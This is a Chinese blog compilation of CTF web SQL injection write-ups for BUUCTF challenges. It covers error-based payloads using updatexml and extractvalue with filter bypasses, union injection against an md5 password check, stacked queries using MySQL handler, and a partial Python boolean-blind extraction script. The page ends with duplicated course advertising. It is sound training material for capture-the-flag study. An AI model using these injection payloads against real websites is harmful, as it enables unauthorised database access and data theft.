2024年最新CTF Web SQL注入专项整理(持续更新中)_ctf sql注入,一文轻松搞定

使用right()突破字符限制
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
image.png

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制
这两种函数大同小异,不再赘述
当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以
大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#
image.png
image.png
1'or(extractvalue(1,concat(0x7e,(select(database())))))#
image.png
image.png

好了大家已经明显看到了^和()绕过不同限制的区别
那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
image.png
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
image.png
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#
image.png
使用right()突破字符限制
1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#
image.png
拼接得到最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}
原文链接:https://blog.csdn.net/m0_73734159/article/details/134450773

md5与SQL之间的碰撞
【例题】BUUCTF [GXYCTF2019]BabySQli 1 详解!

题目环境
image.png
burp抓包

随便输入值

image.png
repeater放包
image.png

在注释那里发现某种编码

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

看着像是base编码格式
通过测试发现是套加密(二次加密)
首先使用base32对此编码进行解码

base32解码
image.png
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

两个等号base64编码无疑了

base64解码
image.png

得到一段SQL查询语句

select * from user where username = '$name'

通过对这段SQL语句的初步判断
可以得出此题的注入点是参数name

判断注入类型

1
123

image.png

1’
123

image.png

发生报错
可以得出此题的注入类型为字符型注入

尝试万能密码

1’ or ‘1’='1
123

image.png

猜测’or’关键字或’='字符被过滤

弱口令猜测

首先猜测用户名既有可能是admin
密码暂且还不知道

判断字段数

1’ union select 1,2#
123

image.png

1’ union select 1,2,3#
123

image.png

可知字段数是3

判断用户所在列

1’ union select ‘admin’,2,3#
123

image.png

1’ union select 1,‘admin’,3#
123

image.png

通过用户所在列测试,得出了存在用户admin,又得出了admin用户在第二列,也就是username字段那一列。

查看题目源码
image.png

在search.php源代码哪里发现关键代码

image.png

if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}


发现参数password被md5加密
看着和之前做过的题很类似
大致就是传进去的值要进行md5值加密

换种方式猜测
username数据表里面的3个字段分别是flag、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后,后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag

爆flag:

这里pw参数的值为123456
可以随便传
但是要对传入的那个值进行md5值加密
网上可以随便找一个在线md5加密平台

1’union select 1,‘admin’,‘e10adc3949ba59abbe56e057f20f883e’#
123456

image.png
得出flag:
flag{3c7be44e-df35-40a7-bd91-1b210bf75fcb}

handler命令用法
【例题】BUUCTF [GYCTF2020]Blacklist 1详解

题目环境
image.png
判断注入类型

1

image.png

1’

image.png

可知本题是字符型注入

查库

此题使用堆叠查询

1’;show databases;

image.png
查表

1’;show tables;

image.png

存在FlagHere数据表
极有可能当中存在flag

查字段数

– - 是闭合符

1’ order by 3 – -

image.png

1’ order by 2 – -

image.png

可知只有两个字段数

查FlagHere数据表的字段名

1’;show columns from FlagHere;

image.png

存在flag字段!

查words数据表的字段名

1’;show columns from words;

image.png

从这里看的话这题与buuctf[强网杯 2019]随便注 1这道题是有几分相似的
后者是通过改表名来获取flag值,但是前者既然放到了后边,应该没有那么容易
猜测修改表名的命令极有可能被过滤了
后者题解非常详细可以看看下面这个链接(同时也包含handler解法!)
https://blog.csdn.net/m0_73734159/article/details/134049744

判断命令是否存在过滤

rename

image.png

return preg_match(“/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i”,$inject);
果不其然改表名的两个关键命令被过滤了
rename和alter
包括查询命令也被过滤了
select

通过handler命令获取flag

select这个查询命令大家都很熟悉
但是我们却忽略了一个也很重要的角色
那就是handler查询命令
虽然handler这个命令不常见
但是它也非常强大

handler命令查询规则

  • handler table_name open;handler table_name read first;handler table_name close;
  • handler table_name open;handler table_name read next;handler table_name close;

如何理解?

  • 首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
  • 首先打开数据库,开始循环读取,读取成功后进行关闭操作。

构造payload

  • 1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
  • 1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;

上传payload
image.png
image.png
得到flag:
flag{29e0c4b0-b659-4115-a74c-f3c25d3aac9b}
原文链接:https://blog.csdn.net/m0_73734159/article/details/134731461?spm=1001.2014.3001.5501

布尔盲注
【例题】BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World 1(SQL注入之布尔盲注)

题目环境
image.png
判断注入类型

1

image.png

2

image.png

3

image.png

1’

image.png

输入1’报错提示bool(false)
可知是字符型的布尔注入(盲注)

尝试万能密码

1’ or ‘1’=1

image.png

已检测SQL注入
猜测某些关键字或者字符被过滤

FUZZ字典爆破
image.png
image.png

可以看到部分关键字被过滤,包括空格

All You Want Is In Table ‘flag’ and the column is ‘flag’
Now, just give the id of passage
通过提示可以知道
flag字段在flag数据表里面

布尔注入

布尔注入是一种常见的SQL注入攻击技术,攻击者通过构造恶意输入,使应用程序的SQL查询返回不同的结果,从而达到绕过应用程序的安全机制,获取未授权的信息或执行恶意操作的目的。

布尔盲注

布尔盲注,也称为基于布尔的盲注,是一种SQL注入攻击方式。这种攻击方式主要利用Web页面的返回结果,根据页面返回的True或者是False来得到数据库中的相关信息。
在进行布尔盲注攻击时,攻击者首先需要对目标应用程序进行SQL注入,然后根据页面返回的结果来判断注入是否成功。由于页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。因此,这种攻击方式比较消耗时间,速度较慢。
在布尔盲注中,攻击者可能会使用一些常用的函数,如length()函数和ascii()函数。length()函数用于返回字符串的长度,ascii()函数用于返回字符串的字符ASCII码值。这些函数可以帮助攻击者更好地分析和理解返回结果,从而获取更多的信息。
总之,布尔盲注是一种比较复杂的SQL注入攻击方式,需要攻击者具备一定的技术水平和耐心。为了防止布尔盲注攻击,应该加强应用程序的安全性,如进行输入验证、使用参数化查询等措施。

通过脚本爆破flag

import requests
#调用请求模块
import time
#调用时间模块
import re
#调用规则表达式模块
url='http://1c6ac3dd-eab6-41d6-85a3-a5f888577768.node4.buuoj.cn:81/'
#题目链接
flag = ''
#创建一个变量用来存放flag值
for i in range(1,50):
    #for循环遍历,i表示flag值大致长度是50以内
    max = 127
    #赋值127
    min = 0
    #赋值0
    for c in range(0,127):
        #for循环遍历
        s = (int)((max+min)/2)
        #首先将 max 和 min 相加,然后除以 2,最后将结果强制转换为整数类型。
        payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
        #^异或运算符,相同为假,不相同为真,1^payload,若为payload结果为假,则返回0,1^0=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。
        #从flag数据表中选择一个名为flag的字段,然后取这个字段的字符串(从位置 '+str(i)+' 开始,长度为 1(每次只返回一个))
        #将这个字符串转换为 ASCII 码,然后判断这个 ASCII 码是否大于一个名为 "s" 的变量。
        r = requests.post(url,data = {'id':payload})
        #requests模块的运用,将payload赋值给题目中这个名为id的参数
        time.sleep(0.005)
        #每循环一次休眠0.005秒
        if 'Hello' in str(r.content):
            #如果Hello这个字符串在生成的结果中,那么就继续向下进行
            max=s
        #将s的值赋值给max


### 如何自学黑客&网络安全


#### 黑客零基础入门学习路线&规划


**初级黑客**  
 **1、网络安全理论知识(2天)**  
 ①了解行业相关背景,前景,确定发展方向。  
 ②学习网络安全相关法律法规。  
 ③网络安全运营的概念。  
 ④等保简介、等保规定、流程和规范。(非常重要)


**2、渗透测试基础(一周)**  
 ①渗透测试的流程、分类、标准  
 ②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking  
 ③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察  
 ④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等


**3、操作系统基础(一周)**  
 ①Windows系统常见功能和命令  
 ②Kali Linux系统常见功能和命令  
 ③操作系统安全(系统入侵排查/系统加固基础)


**4、计算机网络基础(一周)**  
 ①计算机网络基础、协议和架构  
 ②网络通信原理、OSI模型、数据转发流程  
 ③常见协议解析(HTTP、TCP/IP、ARP等)  
 ④网络攻击技术与网络安全防御技术  
 ⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现


**5、数据库基础操作(2天)**  
 ①数据库基础  
 ②SQL语言基础  
 ③数据库安全加固


**6、Web渗透(1周)**  
 ①HTML、CSS和JavaScript简介  
 ②OWASP Top10  
 ③Web漏洞扫描工具  
 ④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)  
 恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k


到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?


如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/9c274274e92e2ac1a0759e7d4f4b1216.png)

![img](https://img-blog.csdnimg.cn/img_convert/11e8252d0cef9d958e975cab4ea83f93.png)

![img](https://img-blog.csdnimg.cn/img_convert/2e37809461b916e48ae90fbd6f1c8361.png)

![img](https://img-blog.csdnimg.cn/img_convert/792d10f9235a061c835f652987ba0353.png)

![img](https://img-blog.csdnimg.cn/img_convert/22992d62e5895d8ce77112966a783665.png)

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

他(菜刀、漏扫等)  
 恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k


到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?


如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

[外链图片转存中...(img-m3ssYmY8-1715438677163)]

[外链图片转存中...(img-BX52UVwm-1715438677164)]

[外链图片转存中...(img-zLxhqQLP-1715438677164)]

[外链图片转存中...(img-9w35nEAb-1715438677164)]

[外链图片转存中...(img-vM8t4cir-1715438677164)]

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

  • 20
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CTFSQL注入是一种常见的攻击类型,通常是通过构造恶意输入来绕过应用程序的安全控制,从而访问或篡改应用程序的数据。 以下是一些SQL注入题目的解法: 1. 基于错误的注入:这种类型的注入通常涉及到将错误的输入发送到应用程序,然后观察应用程序返回的错误消息。通过分析错误消息,攻击者可以获得关于数据库的有用信息。例如,攻击者可以尝试通过发送 '和1=2' 的输入来触发一个错误消息。如果返回了一个错误消息,那么攻击者就会知道这个输入是有效的。 2. 基于时间的注入:这种类型的注入利用了数据库查询的延迟响应时间。攻击者可以在输入添加一些额外的SQL语句,这些语句会导致查询的执行时间变长。通过观察查询的响应时间,攻击者可以获得关于数据库的有用信息。 3. 盲注入:这种类型的注入通常是在攻击者无法看到应用程序返回的响应消息时使用的。攻击者可以尝试发送不同类型的输入来推断数据库的数据。例如,攻击者可以尝试使用布尔逻辑来确定某个字段是否存在数据。 4. 堆叠注入:这种类型的注入涉及到在单个输入添加多个SQL语句。攻击者可以利用这些语句来执行多个操作,例如创建新用户、修改密码等。 5. 直接注入:这种类型的注入涉及到直接在SQL查询插入恶意代码。攻击者可以利用这些代码来执行任意操作,例如删除数据库的数据、修改数据库的数据等。 以上是一些常见的SQL注入题目解法,但是在实际的CTF比赛,攻击者需要具备较强的技术水平和经验才能成功地解决这些问题。因此,对于CTF选手而言,不断学习和实践是非常重要的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值